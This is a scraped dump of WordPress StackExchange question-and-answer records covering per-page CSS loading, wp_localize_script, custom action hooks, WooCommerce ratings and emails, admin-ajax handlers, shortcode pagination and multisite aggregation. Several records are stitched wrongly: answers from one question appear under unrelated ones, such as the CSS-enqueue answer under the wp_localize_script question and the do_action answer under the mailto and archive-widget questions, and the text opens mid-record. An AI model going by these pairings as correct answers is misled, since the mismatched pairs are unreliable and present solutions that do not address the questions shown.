</code></pre>
<p><strong>page 2:</strong> </p>
<pre><code><html lang="en">
<head>
<link rel="stylesheet" href="css/two.css" />
.......
</head>
</code></pre>
| [
{
"answer_id": 290457,
"author": "Andrew",
"author_id": 50767,
"author_profile": "https://wordpress.stackexchange.com/users/50767",
"pm_score": 2,
"selected": false,
"text": "<p>You can achieve this using <a href=\"https://codex.wordpress.org/Conditional_Tags\" rel=\"nofollow noreferrer\... | 2018/01/08 | [
"https://wordpress.stackexchange.com/questions/290455",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/134458/"
] | I have several different pages. Every one of them has different css links. Rather than the css links all items are same in the head element of those pages.
I need to shift those head element to `header.php` so that I can include head using `get_header()`.
So How can I load different css file for different pages? I have around 20 different pages, so load file after condition check is bit messy to me.
Is there any better approach to do than [this](https://wordpress.stackexchange.com/questions/222565/how-to-load-different-css-in-different-header)?
If possible suggest me to solve this problem using custom plugin?
**page 1:**
```
<html lang="en">
<head>
<link rel="stylesheet" href="css/one.css" />
.......
</head>
```
**page 2:**
```
<html lang="en">
<head>
<link rel="stylesheet" href="css/two.css" />
.......
</head>
``` | You can achieve this using [conditionals](https://codex.wordpress.org/Conditional_Tags) inside the function enqueuing your styles.
```
function wpdocs_theme_name_scripts() {
wp_enqueue_style( 'global', get_stylesheet_uri() );
if ( is_page(5) ) {
wp_enqueue_style( 'page-five', get_stylesheet_uri() . '/page-five-styles.css' );
}
}
add_action( 'wp_enqueue_scripts', 'wpdocs_theme_name_scripts' );
```
If you wanted more control over both the markup of your page and the CSS files you load, you could use WordPress' template hierarchy and create a page template or something more specific like `page-5.php`. Calling `wp_enqueue_scripts` from within these template files only loads the assets for those pages. |
290,464 | <p>I’m trying to pass a variable from the template to js, but with no luck. </p>
<p>I’ve tried using <code>wp_localize_script</code>, and it seems to be working fine when attached to <code>wp_enqueue_scripts</code> action, but it doesn’t work when called from within template. Do my only resort is to use HTML & <code>data-</code> for handling this? </p>
<p>It would be that great though, since I’m passing the whole <code>wp_query</code> there.</p>
<p>My function is basically a wrapper on a custom WP_Query that allows load more functionality on multiple loops.</p>
<pre><code>function load_more_scripts() {
wp_register_script( 'loadmore', get_stylesheet_directory_uri() . '/assets/js/myloadmore.js', array( 'jquery' ) );
wp_enqueue_script( 'my_loadmore' );
}
add_action( 'wp_enqueue_scripts', 'load_more_scripts' );
// this function is later called in the template
function get_list($query_args) {
if ( is_array( $query_args ) ) {
$the_query = new WP_Query( $query_args );
}
//...some more code
$instance = wp_generate_uuid4();
wp_localize_script( 'loadmore', 'loadmore_params_' . $instance , array(
'ajaxurl' => site_url() . '/wp-admin/admin-ajax.php', // WordPress AJAX
'posts' => json_encode( $the_query->query_vars ), // everything about your loop is here
'current_page' => get_query_var( 'paged' ) ? get_query_var( 'paged' ) : 1,
'max_page' => $the_query->max_num_pages
) );
}
</code></pre>
<p><strong>Update</strong>
It seems the issue can be in localizing multiple scripts. If you register the script to load in the footer, version without adding an <code>$instance</code> to <code>load_more_params</code> seems to work. </p>
| [
{
"answer_id": 290457,
"author": "Andrew",
"author_id": 50767,
"author_profile": "https://wordpress.stackexchange.com/users/50767",
"pm_score": 2,
"selected": false,
"text": "<p>You can achieve this using <a href=\"https://codex.wordpress.org/Conditional_Tags\" rel=\"nofollow noreferrer\... | 2018/01/08 | [
"https://wordpress.stackexchange.com/questions/290464",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/121208/"
] | I’m trying to pass a variable from the template to js, but with no luck.
I’ve tried using `wp_localize_script`, and it seems to be working fine when attached to `wp_enqueue_scripts` action, but it doesn’t work when called from within template. Do my only resort is to use HTML & `data-` for handling this?
It would be that great though, since I’m passing the whole `wp_query` there.
My function is basically a wrapper on a custom WP\_Query that allows load more functionality on multiple loops.
```
function load_more_scripts() {
wp_register_script( 'loadmore', get_stylesheet_directory_uri() . '/assets/js/myloadmore.js', array( 'jquery' ) );
wp_enqueue_script( 'my_loadmore' );
}
add_action( 'wp_enqueue_scripts', 'load_more_scripts' );
// this function is later called in the template
function get_list($query_args) {
if ( is_array( $query_args ) ) {
$the_query = new WP_Query( $query_args );
}
//...some more code
$instance = wp_generate_uuid4();
wp_localize_script( 'loadmore', 'loadmore_params_' . $instance , array(
'ajaxurl' => site_url() . '/wp-admin/admin-ajax.php', // WordPress AJAX
'posts' => json_encode( $the_query->query_vars ), // everything about your loop is here
'current_page' => get_query_var( 'paged' ) ? get_query_var( 'paged' ) : 1,
'max_page' => $the_query->max_num_pages
) );
}
```
**Update**
It seems the issue can be in localizing multiple scripts. If you register the script to load in the footer, version without adding an `$instance` to `load_more_params` seems to work. | You can achieve this using [conditionals](https://codex.wordpress.org/Conditional_Tags) inside the function enqueuing your styles.
```
function wpdocs_theme_name_scripts() {
wp_enqueue_style( 'global', get_stylesheet_uri() );
if ( is_page(5) ) {
wp_enqueue_style( 'page-five', get_stylesheet_uri() . '/page-five-styles.css' );
}
}
add_action( 'wp_enqueue_scripts', 'wpdocs_theme_name_scripts' );
```
If you wanted more control over both the markup of your page and the CSS files you load, you could use WordPress' template hierarchy and create a page template or something more specific like `page-5.php`. Calling `wp_enqueue_scripts` from within these template files only loads the assets for those pages. |
290,510 | <p>I want to use a method from a plugin as a hook, not the callback. I want to use a custom function I wrote as the callback, that gets triggered when a particular method from a plugin runs. Essentially something like :</p>
<pre><code>add_action( array( "NAME OF CLASS", NAME OF METHOD" ), "MY CUSTOM FUNCTION" ) )
</code></pre>
<p>I can't figure out how to do this, any help or direction would be greatly appreciated!</p>
<p>I've verified the method and class exist in functions.php with the method_exists() function.</p>
<p>EDIT:</p>
<p>I'm using plugins called Groups and Groups_File_Access to handle file access and downloads on my site. The class is "Groups_File_Access"" and the method inside is "groups_file_served". I did not write this plugin. That method gets triggered when someone accesses a file and I want to run a custom function when "groups_file_served" get called by hooking onto it. Was trying to avoid editing the plugin itself, but looks like I'm going to need to.</p>
| [
{
"answer_id": 290512,
"author": "Scruffy Paws",
"author_id": 28787,
"author_profile": "https://wordpress.stackexchange.com/users/28787",
"pm_score": 2,
"selected": false,
"text": "<p>It sounds like you are looking for <code>do_action()</code> In your method that you wrote add do_action... | 2018/01/08 | [
"https://wordpress.stackexchange.com/questions/290510",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/134479/"
] | I want to use a method from a plugin as a hook, not the callback. I want to use a custom function I wrote as the callback, that gets triggered when a particular method from a plugin runs. Essentially something like :
```
add_action( array( "NAME OF CLASS", NAME OF METHOD" ), "MY CUSTOM FUNCTION" ) )
```
I can't figure out how to do this, any help or direction would be greatly appreciated!
I've verified the method and class exist in functions.php with the method\_exists() function.
EDIT:
I'm using plugins called Groups and Groups\_File\_Access to handle file access and downloads on my site. The class is "Groups\_File\_Access"" and the method inside is "groups\_file\_served". I did not write this plugin. That method gets triggered when someone accesses a file and I want to run a custom function when "groups\_file\_served" get called by hooking onto it. Was trying to avoid editing the plugin itself, but looks like I'm going to need to. | It sounds like you are looking for `do_action()` In your method that you wrote add do\_action and it will trigger your new custom action. Then you can use `add_action()` in the same way you use the build in actions.
<https://developer.wordpress.org/reference/functions/do_action/>
Example of your method in the class...
```
public function some_method() {
$foo = 'puppy';
$bar = 'bunny';
do_action( 'my_nifty_action', $foo, $bar );
}
```
Somewhere else you can then add the call to your action...
```
add_action( 'my_nifty_action', 'my_custom_function', 10, 2 );
function my_custom_function( $foo, $bar ) {
// ... your code here
}
``` |
290,522 | <p>In a theme I'm developing I would like to have a button with a mailto: href so that it when a user clicks on it, it generates the email address dependent on the post author.</p>
<p>I've managed to get it so that the email subject is generated from the post title by simply using the the_title(); </p>
<p>I can't seem to work out how to dynamically generate the email address though. I need to replace the "someone@example.com" part that is hard-coded below to automatically be the post author's email that is registered in their user profile in the back end. </p>
<p>I was looking at get_the_author_meta(); function, but this only seems to allow you to add a parameter for 'user_email' and then you have to manually add the user ID, which again is no use.</p>
<pre><code><a href="mailto:someone@example.com?subject=<?php the_title(); ?>">Apply</a>
</code></pre>
<p>Any help would be amazing.</p>
| [
{
"answer_id": 290512,
"author": "Scruffy Paws",
"author_id": 28787,
"author_profile": "https://wordpress.stackexchange.com/users/28787",
"pm_score": 2,
"selected": false,
"text": "<p>It sounds like you are looking for <code>do_action()</code> In your method that you wrote add do_action... | 2018/01/08 | [
"https://wordpress.stackexchange.com/questions/290522",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/106972/"
] | In a theme I'm developing I would like to have a button with a mailto: href so that it when a user clicks on it, it generates the email address dependent on the post author.
I've managed to get it so that the email subject is generated from the post title by simply using the the\_title();
I can't seem to work out how to dynamically generate the email address though. I need to replace the "someone@example.com" part that is hard-coded below to automatically be the post author's email that is registered in their user profile in the back end.
I was looking at get\_the\_author\_meta(); function, but this only seems to allow you to add a parameter for 'user\_email' and then you have to manually add the user ID, which again is no use.
```
<a href="mailto:someone@example.com?subject=<?php the_title(); ?>">Apply</a>
```
Any help would be amazing. | It sounds like you are looking for `do_action()` In your method that you wrote add do\_action and it will trigger your new custom action. Then you can use `add_action()` in the same way you use the build in actions.
<https://developer.wordpress.org/reference/functions/do_action/>
Example of your method in the class...
```
public function some_method() {
$foo = 'puppy';
$bar = 'bunny';
do_action( 'my_nifty_action', $foo, $bar );
}
```
Somewhere else you can then add the call to your action...
```
add_action( 'my_nifty_action', 'my_custom_function', 10, 2 );
function my_custom_function( $foo, $bar ) {
// ... your code here
}
``` |
290,537 | <p>I am using Wordpress archive widget to display archives of My WordPress site. But there is a condition, I want to display only last year archives, not this year. I am using inbuilt widget, so what can I do to stop this year's archive coming on the widget?</p>
| [
{
"answer_id": 290512,
"author": "Scruffy Paws",
"author_id": 28787,
"author_profile": "https://wordpress.stackexchange.com/users/28787",
"pm_score": 2,
"selected": false,
"text": "<p>It sounds like you are looking for <code>do_action()</code> In your method that you wrote add do_action... | 2018/01/09 | [
"https://wordpress.stackexchange.com/questions/290537",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/134497/"
] | I am using Wordpress archive widget to display archives of My WordPress site. But there is a condition, I want to display only last year archives, not this year. I am using inbuilt widget, so what can I do to stop this year's archive coming on the widget? | It sounds like you are looking for `do_action()` In your method that you wrote add do\_action and it will trigger your new custom action. Then you can use `add_action()` in the same way you use the build in actions.
<https://developer.wordpress.org/reference/functions/do_action/>
Example of your method in the class...
```
public function some_method() {
$foo = 'puppy';
$bar = 'bunny';
do_action( 'my_nifty_action', $foo, $bar );
}
```
Somewhere else you can then add the call to your action...
```
add_action( 'my_nifty_action', 'my_custom_function', 10, 2 );
function my_custom_function( $foo, $bar ) {
// ... your code here
}
``` |
290,549 | <p>I am getting dynamic content on page load and sending it via mail using wp_mail(). Right now all contents going in body section of email
but I want it to store in .doc(MS word) file and then send that file as an attachment. </p>
<p>I can send attachment via wp_mail(). But I am not getting any solution about how to auto create file and store all html content in file. I search a lot on google but couldn't find anything helpful. Is there any possible way of doing this in wordpress?</p>
| [
{
"answer_id": 290556,
"author": "HU is Sebastian",
"author_id": 56587,
"author_profile": "https://wordpress.stackexchange.com/users/56587",
"pm_score": 2,
"selected": false,
"text": "<p>Can't help you with the creation of the .doc-file, as i have never done that. But if you manage to ge... | 2018/01/09 | [
"https://wordpress.stackexchange.com/questions/290549",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/81621/"
] | I am getting dynamic content on page load and sending it via mail using wp\_mail(). Right now all contents going in body section of email
but I want it to store in .doc(MS word) file and then send that file as an attachment.
I can send attachment via wp\_mail(). But I am not getting any solution about how to auto create file and store all html content in file. I search a lot on google but couldn't find anything helpful. Is there any possible way of doing this in wordpress? | Can't help you with the creation of the .doc-file, as i have never done that. But if you manage to get the encoded file into a string, you can work with the Wordpress PHP-Mailer instance like this:
```
function send_my_mail_with_attachment($from,$to,$subject,$body,$attachmentstring=""){
global $phpmailer;
// (Re)create it, if it's gone missing
if ( ! ( $phpmailer instanceof PHPMailer ) ) {
require_once ABSPATH . WPINC . '/class-phpmailer.php';
require_once ABSPATH . WPINC . '/class-smtp.php';
$phpmailer = new PHPMailer( true );
}
$phpmailer->CharSet = 'UTF-8';
$phpmailer->ClearAllRecipients();
$phpmailer->ClearAttachments();
$phpmailer->ClearCustomHeaders();
$phpmailer->ClearReplyTos();
$fromaddress=$from;
$phpmailer->setFrom($fromaddress);
$phpmailer->Sender = $phpmailer->From;
$phpmailer->addAddress($to);
$phpmailer->isHTML(true); // Set email format to HTML
$phpmailer->Subject = $subject;
$phpmailer->Body = $body;
if($attachmentstring){
$phpmailer->AddStringAttachment($attachmentstring,'my_attachment.doc');
}
$rueckgabe = $phpmailer->Send();
return $rueckgabe;
}
```
You can learn more about PHPMailer [here](https://github.com/PHPMailer/PHPMailer) |
290,572 | <p>On my WooCommerce site I am trying to output the star rating for a product that is reviewed. Instead, it outputs this:</p>
<blockquote>
<p>Rated 3.38 out of 5 based on 8 customer ratings</p>
</blockquote>
<p>What am I missing with the following code?</p>
<pre><code>$rating_count = $product->get_rating_count();
$review_count = $product->get_review_count();
$average = $product->get_average_rating();
echo wc_get_rating_html( $average, $rating_count );
</code></pre>
<p>When I switch from my custom theme to default WordPress theme, the ratings then show.</p>
| [
{
"answer_id": 299038,
"author": "Regolith",
"author_id": 103884,
"author_profile": "https://wordpress.stackexchange.com/users/103884",
"pm_score": 3,
"selected": false,
"text": "<p>Suffered with same problem. Finally after lot of search and trial I came up with this solution.</p>\n\n<p>... | 2018/01/09 | [
"https://wordpress.stackexchange.com/questions/290572",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/1354/"
] | On my WooCommerce site I am trying to output the star rating for a product that is reviewed. Instead, it outputs this:
>
> Rated 3.38 out of 5 based on 8 customer ratings
>
>
>
What am I missing with the following code?
```
$rating_count = $product->get_rating_count();
$review_count = $product->get_review_count();
$average = $product->get_average_rating();
echo wc_get_rating_html( $average, $rating_count );
```
When I switch from my custom theme to default WordPress theme, the ratings then show. | Suffered with same problem. Finally after lot of search and trial I came up with this solution.
This gets the template where the rating is displayed from. But it displays like this: `Rated 4.50 out of 5 based on 2 customer ratings (2 customer reviews)`
```
<div class="rating-custom">
<?php wc_get_template( 'single-product/rating.php' ); ?>
</div>
```
Then paste this css code in a custom css.
```
/*star rating for products*/
.rating-custom div.product .woocommerce-product-rating {
margin-bottom: 1.618em;
}
.rating-custom .woocommerce-product-rating .star-rating {
margin: .5em 4px 0 0;
float: left;
}
.rating-custom .woocommerce-product-rating::after, .rating-custom .woocommerce-product-rating::before {
content: ' ';
display: table;
}
.rating-custom .woocommerce-product-rating {
line-height: 2;
}
.rating-custom .star-rating {
float: right;
overflow: hidden;
position: relative;
height: 1em;
line-height: 1;
font-size: 1em;
width: 5.4em;
font-family: star;
}
.rating-custom .star-rating::before {
content: '\73\73\73\73\73';
color: #d3ced2;
float: left;
top: 0;
left: 0;
position: absolute;
}
.rating-custom .star-rating {
line-height: 1;
font-size: 1em;
font-family: star;
}
.rating-custom .star-rating span {
overflow: hidden;
float: left;
top: 0;
left: 0;
position: absolute;
padding-top: 1.5em;
}
.rating-custom .star-rating span::before {
content: '\53\53\53\53\53';
top: 0;
position: absolute;
left: 0;
}
.rating-custom .star-rating span {
overflow: hidden;
float: left;
top: 0;
left: 0;
position: absolute;
padding-top: 1.5em;
}
```
Output:
[](https://i.stack.imgur.com/sOpd2.png) |
290,574 | <p>i'm bad at redirection so i'm asking you.</p>
<p>I have my old site with some posts like www.oldsite.com/category/my-awesome-post, www.oldsite.com/category/my-awesome-post-2 ...</p>
<p>I would like to redirect each URL to a new domain like www.newsite.com/category/my-awesome-post</p>
<p>so all URL will be redirect dynamiccaly. </p>
<p>Is it possible.</p>
<p>Thank you</p>
| [
{
"answer_id": 290579,
"author": "knif3r",
"author_id": 94644,
"author_profile": "https://wordpress.stackexchange.com/users/94644",
"pm_score": 0,
"selected": false,
"text": "<p>If you want 301/302 redirect sitewide my suggestion is to use .htaccess file, but that's not a good practice a... | 2018/01/09 | [
"https://wordpress.stackexchange.com/questions/290574",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/134525/"
] | i'm bad at redirection so i'm asking you.
I have my old site with some posts like www.oldsite.com/category/my-awesome-post, www.oldsite.com/category/my-awesome-post-2 ...
I would like to redirect each URL to a new domain like www.newsite.com/category/my-awesome-post
so all URL will be redirect dynamiccaly.
Is it possible.
Thank you | If you want 301/302 redirect sitewide my suggestion is to use .htaccess file, but that's not a good practice at all. Anyway the code should be something like this
```
Options +FollowSymLinks
RewriteEngine On
RewriteBase /
RewriteCond %{HTTP_HOST} ^OLDDOMAIN\.com$ [NC]
RewriteRule ^(.*)$ http://NEWDOMAIN.com [R=301,L]
```
Note: Change the R=301 to whatever you would want where R=301 would mean permanent redirect and R=302 would mean temprorary redirect.
If you want to migrate your site to a new wp install on another domain, you need to use the WP Migrate DB plugin that can be found here : <https://wordpress.org/plugins/wp-migrate-db/>
The plugin do a really dirty job of replacing every single url in your db with a new one, which by hand is not really cool process.. You then need to import the db via phpMyAdmin or other interface to the new place and change all static links on the pages if there are any. |
290,582 | <p>How can I prevent an email being sent when the order is marked as Completed?</p>
| [
{
"answer_id": 290595,
"author": "rudtek",
"author_id": 77767,
"author_profile": "https://wordpress.stackexchange.com/users/77767",
"pm_score": 1,
"selected": false,
"text": "<p>you can unhook the email action by placing this code in your functions.php:</p>\n\n<pre><code>remove_action( '... | 2018/01/09 | [
"https://wordpress.stackexchange.com/questions/290582",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/25239/"
] | How can I prevent an email being sent when the order is marked as Completed? | you can unhook the email action by placing this code in your functions.php:
```
remove_action( 'woocommerce_order_status_completed_notification', array( $email_class->emails['WC_Email_Customer_Completed_Order'], 'trigger' ) );
``` |
290,631 | <p>I'm trying to create the hooks and function for the php to receive my ajax call and when the response is alerted, all I receive is 0.</p>
<p>I suppose my question is, are the add_action hooks supposed to go into the bottom of the admin-ajax.php file or are they supposed to go elsewhere? Keep in mind that my Ajax request is on a custom template .php file.</p>
<p>Here's the code for reference:</p>
<pre><code>add_action( 'wp_ajax_my_ajax_action', 'my_ajax_action_callback' );
add_action( 'wp_ajax_nopriv_my_ajax_action', 'my_ajax_action_callback' );
function my_ajax_action_callback(){
echo "Baffles";
$first_name = isset( $_POST['first_name'] ) ? $_POST['first_name'] : 'N/A';
$last_name = isset( $_POST['last_name'] ) ? $_POST['last_name'] : 'N/A';
?>
<p>Hello. Your First Name is <?php echo $first_name; ?>.</p>
<p>And your last name is <?php echo $last_name; ?>.</p>
<?php
die(); // required. to end AJAX request.
}
</code></pre>
<p>Jquery/Ajax Request</p>
<pre><code>jQuery(document).ready(function () {
$.ajax({
type: 'POST',
url: '../wp-admin/admin-ajax.php',
data: {
action : 'my_ajax_action', // load function hooked to: "wp_ajax_*" action hook
first_name : 'John', // PHP: $_POST['first_name']
last_name : 'Cena', // PHP: $_POST['last_name']
}, success: function (result) {
alert(result);
},
error: function () {
alert("error");
}
});
});
</code></pre>
| [
{
"answer_id": 290654,
"author": "DHL17",
"author_id": 125227,
"author_profile": "https://wordpress.stackexchange.com/users/125227",
"pm_score": 3,
"selected": true,
"text": "<p>may be here is the error </p>\n\n<pre><code>add_action( 'wp_ajax_my_ajax_action', 'my_ajax_action_callback' );... | 2018/01/09 | [
"https://wordpress.stackexchange.com/questions/290631",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/134557/"
] | I'm trying to create the hooks and function for the php to receive my ajax call and when the response is alerted, all I receive is 0.
I suppose my question is, are the add\_action hooks supposed to go into the bottom of the admin-ajax.php file or are they supposed to go elsewhere? Keep in mind that my Ajax request is on a custom template .php file.
Here's the code for reference:
```
add_action( 'wp_ajax_my_ajax_action', 'my_ajax_action_callback' );
add_action( 'wp_ajax_nopriv_my_ajax_action', 'my_ajax_action_callback' );
function my_ajax_action_callback(){
echo "Baffles";
$first_name = isset( $_POST['first_name'] ) ? $_POST['first_name'] : 'N/A';
$last_name = isset( $_POST['last_name'] ) ? $_POST['last_name'] : 'N/A';
?>
<p>Hello. Your First Name is <?php echo $first_name; ?>.</p>
<p>And your last name is <?php echo $last_name; ?>.</p>
<?php
die(); // required. to end AJAX request.
}
```
Jquery/Ajax Request
```
jQuery(document).ready(function () {
$.ajax({
type: 'POST',
url: '../wp-admin/admin-ajax.php',
data: {
action : 'my_ajax_action', // load function hooked to: "wp_ajax_*" action hook
first_name : 'John', // PHP: $_POST['first_name']
last_name : 'Cena', // PHP: $_POST['last_name']
}, success: function (result) {
alert(result);
},
error: function () {
alert("error");
}
});
});
``` | may be here is the error
```
add_action( 'wp_ajax_my_ajax_action', 'my_ajax_action_callback' );
add_action( 'wp_ajax_nopriv_my_ajax_action', 'my_ajax_action_callback' );
```
change to
```
add_action( 'wp_ajax_my_ajax_action_callback', 'my_ajax_action_callback' );
add_action('wp_ajax_nopriv_my_ajax_action_callback','my_ajax_action_callback' );
```
and in ajax change:
```
action : 'my_ajax_action_callback
```
go to `functions.php` and add:
```
require(dirname(__FILE__) . '/custom_template.php');
```
make sure your ajax `url` is correct!! |
290,638 | <p>I have a picture gallery that is working, I am converting it to a shortcode so the positioning can be flexible and I don't have to copy the code over and over again.</p>
<p>The issue I am having is that the pagination doesn't advance to the next page. The images show, the pagination shows, the page number shows...but when I try and click on page two or three the images, pagination, and page numbers don't change. The URL changes, the content doesn't.</p>
<p>I have a page with some manual code (that works and advances or changes when pagination is clicked).</p>
<p>The site I am working on is: <a href="http://joshrodg.com/test/banquet/2017-induction-banquet/" rel="nofollow noreferrer">http://joshrodg.com/test/banquet/2017-induction-banquet/</a>. My test shortcode is on top (underneath 2017 Induction Banquet), the one that works, is the bottom one (manual code).</p>
<p>My shortcode looks like: <code>[halloffame rml_folder="16"]</code></p>
<p>My function looks like:</p>
<pre><code>function picture_gallery($atts){
extract(shortcode_atts(array(
'rml_folder' => 1
), $atts));
$paged = ( get_query_var( 'paged' ) ) ? get_query_var( 'paged' ) : 1;
query_posts("post_status=inherit&post_type=attachment&rml_folder=".$rml_folder."&orderby=title&order=asc&posts_per_page=12&paged=".$paged);
if ( have_posts() ) :
$return_string .= '<div id="album">';
while ( have_posts() ) : the_post();
$return_string .= '<div class="gallery">';
$image = wp_get_attachment_image(get_post_thumbnail_id($post->ID), 'medium');
$return_string .= '<a href="'.wp_get_attachment_url($post->ID).'" class="simplelightbox">'.$image.'</a>';
$return_string .= '<p>'.get_the_title().'</p>';
$return_string .= '</div>';
endwhile;
$return_string .= '</div>';
endif;
$return_string .= '<div id="pagi">';
$return_string .= '<div class="wrap">';
$args = array(
'prev_text' => __('<span class="left"></span><span class="ion-android-arrow-dropleft"></span>'),
'next_text' => __('<span class="ion-android-arrow-dropright"></span><span class="right"></span>')
);
$return_string .= paginate_links($args);
$return_string .= '</div>';
$return_string .= '</div>';
global $wp_query;
$current_page = get_query_var( 'paged' );
$pages = $wp_query->max_num_pages;
$return_string .= '<p align="center">(Page: '.$current_page.' of '.$pages.')</p>';
wp_reset_query();
return $return_string;
}
function register_shortcodes(){
add_shortcode('halloffame', 'picture_gallery');
}
add_action( 'init', 'register_shortcodes');
</code></pre>
<p>Because this is working with the manual code, I'm guessing something is not quite right with my shortcode code.</p>
<p>Any ideas?</p>
<p>** UPDATE **</p>
<p>So, on the page <a href="http://joshrodg.com/test/banquet/" rel="nofollow noreferrer">http://joshrodg.com/test/banquet/</a>, the pagination is broken, but on <a href="http://joshrodg.com/test/banquet/2017-induction-banquet/" rel="nofollow noreferrer">http://joshrodg.com/test/banquet/2017-induction-banquet/</a> the pagination works. <code>2017-induction-banquet</code> is the original post, it's a child post of <a href="http://joshrodg.com/test/banquet/" rel="nofollow noreferrer">http://joshrodg.com/test/banquet/</a>. On <a href="http://joshrodg.com/test/banquet/" rel="nofollow noreferrer">http://joshrodg.com/test/banquet/</a>, I am displaying the content of all my child pages. So, the shortcode itself is working, just not on this page - so there might be something wrong with my loop.</p>
<p>The loop for this page looks like:</p>
<pre><code><?php query_posts("order=asc&orderby=menu_order&posts_per_page=-1&post_type=page&post_parent=".$post->ID); ?>
<?php while ( have_posts() ) : the_post(); ?>
<div class="wrap">
<h2><?php the_title(); ?></h2>
</div>
<p><?php the_content(); ?></p>
<?php endwhile; ?>
<?php wp_reset_query(); ?>
</code></pre>
<p>I'm thinking there might be a conflict with the loop in the shortcode and the loop on this page.</p>
<p>The pagination on the original page looks like: <a href="http://joshrodg.com/test/banquet/2017-induction-banquet/page/2/" rel="nofollow noreferrer">http://joshrodg.com/test/banquet/2017-induction-banquet/page/2/</a></p>
<p>The pagination on the parent page looks like: <a href="http://joshrodg.com/test/banquet/page/2/" rel="nofollow noreferrer">http://joshrodg.com/test/banquet/page/2/</a></p>
<p>Not sure if that makes a difference, but figured it's worth mentioning.</p>
<p>Thanks,<br />
Josh</p>
| [
{
"answer_id": 290640,
"author": "Rick Hellewell",
"author_id": 29416,
"author_profile": "https://wordpress.stackexchange.com/users/29416",
"pm_score": 1,
"selected": false,
"text": "<p>Don't use a hyphen in the shortcode name. See <a href=\"https://codex.wordpress.org/Shortcode_API#Hyph... | 2018/01/10 | [
"https://wordpress.stackexchange.com/questions/290638",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/9820/"
] | I have a picture gallery that is working, I am converting it to a shortcode so the positioning can be flexible and I don't have to copy the code over and over again.
The issue I am having is that the pagination doesn't advance to the next page. The images show, the pagination shows, the page number shows...but when I try and click on page two or three the images, pagination, and page numbers don't change. The URL changes, the content doesn't.
I have a page with some manual code (that works and advances or changes when pagination is clicked).
The site I am working on is: <http://joshrodg.com/test/banquet/2017-induction-banquet/>. My test shortcode is on top (underneath 2017 Induction Banquet), the one that works, is the bottom one (manual code).
My shortcode looks like: `[halloffame rml_folder="16"]`
My function looks like:
```
function picture_gallery($atts){
extract(shortcode_atts(array(
'rml_folder' => 1
), $atts));
$paged = ( get_query_var( 'paged' ) ) ? get_query_var( 'paged' ) : 1;
query_posts("post_status=inherit&post_type=attachment&rml_folder=".$rml_folder."&orderby=title&order=asc&posts_per_page=12&paged=".$paged);
if ( have_posts() ) :
$return_string .= '<div id="album">';
while ( have_posts() ) : the_post();
$return_string .= '<div class="gallery">';
$image = wp_get_attachment_image(get_post_thumbnail_id($post->ID), 'medium');
$return_string .= '<a href="'.wp_get_attachment_url($post->ID).'" class="simplelightbox">'.$image.'</a>';
$return_string .= '<p>'.get_the_title().'</p>';
$return_string .= '</div>';
endwhile;
$return_string .= '</div>';
endif;
$return_string .= '<div id="pagi">';
$return_string .= '<div class="wrap">';
$args = array(
'prev_text' => __('<span class="left"></span><span class="ion-android-arrow-dropleft"></span>'),
'next_text' => __('<span class="ion-android-arrow-dropright"></span><span class="right"></span>')
);
$return_string .= paginate_links($args);
$return_string .= '</div>';
$return_string .= '</div>';
global $wp_query;
$current_page = get_query_var( 'paged' );
$pages = $wp_query->max_num_pages;
$return_string .= '<p align="center">(Page: '.$current_page.' of '.$pages.')</p>';
wp_reset_query();
return $return_string;
}
function register_shortcodes(){
add_shortcode('halloffame', 'picture_gallery');
}
add_action( 'init', 'register_shortcodes');
```
Because this is working with the manual code, I'm guessing something is not quite right with my shortcode code.
Any ideas?
\*\* UPDATE \*\*
So, on the page <http://joshrodg.com/test/banquet/>, the pagination is broken, but on <http://joshrodg.com/test/banquet/2017-induction-banquet/> the pagination works. `2017-induction-banquet` is the original post, it's a child post of <http://joshrodg.com/test/banquet/>. On <http://joshrodg.com/test/banquet/>, I am displaying the content of all my child pages. So, the shortcode itself is working, just not on this page - so there might be something wrong with my loop.
The loop for this page looks like:
```
<?php query_posts("order=asc&orderby=menu_order&posts_per_page=-1&post_type=page&post_parent=".$post->ID); ?>
<?php while ( have_posts() ) : the_post(); ?>
<div class="wrap">
<h2><?php the_title(); ?></h2>
</div>
<p><?php the_content(); ?></p>
<?php endwhile; ?>
<?php wp_reset_query(); ?>
```
I'm thinking there might be a conflict with the loop in the shortcode and the loop on this page.
The pagination on the original page looks like: <http://joshrodg.com/test/banquet/2017-induction-banquet/page/2/>
The pagination on the parent page looks like: <http://joshrodg.com/test/banquet/page/2/>
Not sure if that makes a difference, but figured it's worth mentioning.
Thanks,
Josh | So, I managed to find a solution.
I tried to change `query_posts` on my shortcode, but for some reason, I wasn't able to get that working. I changed the query on the page which fixed the issue.
The query now looks like:
```
<?php
$args = array(
'order' => 'asc',
'orderby' => 'menu_order',
'posts_per_page' => -1,
'post_type' => 'page',
'post_parent' => $post->ID
);
$query = new WP_Query( $args );
?>
<?php while ( $query->have_posts() ) : $query->the_post(); ?>
<div class="wrap">
<h2><?php the_title(); ?></h2>
</div>
<p><?php the_content(); ?></p>
<?php endwhile; ?>
<?php wp_reset_postdata(); ?>
```
The shortcode did not change (other than removing the hyphen).
So, the two queries were conflicting with each other. The different queries `query_posts` and `WP_Query` fixed the issue.
Thanks,
Josh |
290,641 | <p>Hy everyone!
I listed the all network posts on my multisite to my network-home's homepage with "WDS Multisite Aggregate" plugin. This works fine, but now I want to get the author/publisher subsite's domains above each posts, similar to: by Author_name, just in this case so: via subsite_url.</p>
<p>So now, if Author1 publishing on his own site, example [subsite1.network.com] a new post, this post immediately appears on the homepage of [network.com], and appear above of the post content the Author's username, thus: by Author1.</p>
<p>Besides this, the all "shared" post's link-title control to the publisher site, so example, when on the homepage of [network.com] a new post appears, this post title shows to [subsite.network.com/current-post-idx] when I use this <code>the_title( sprintf( '<h2 class="entry-title" style="" itemprop="headline"><a href="%s" rel="bookmark">', esc_url( get_permalink() ) ), '</a></h2>' );</code> and if I open [network.com/current-post-idx], this redirect to [subsite.network.com/current-post-idx].</p>
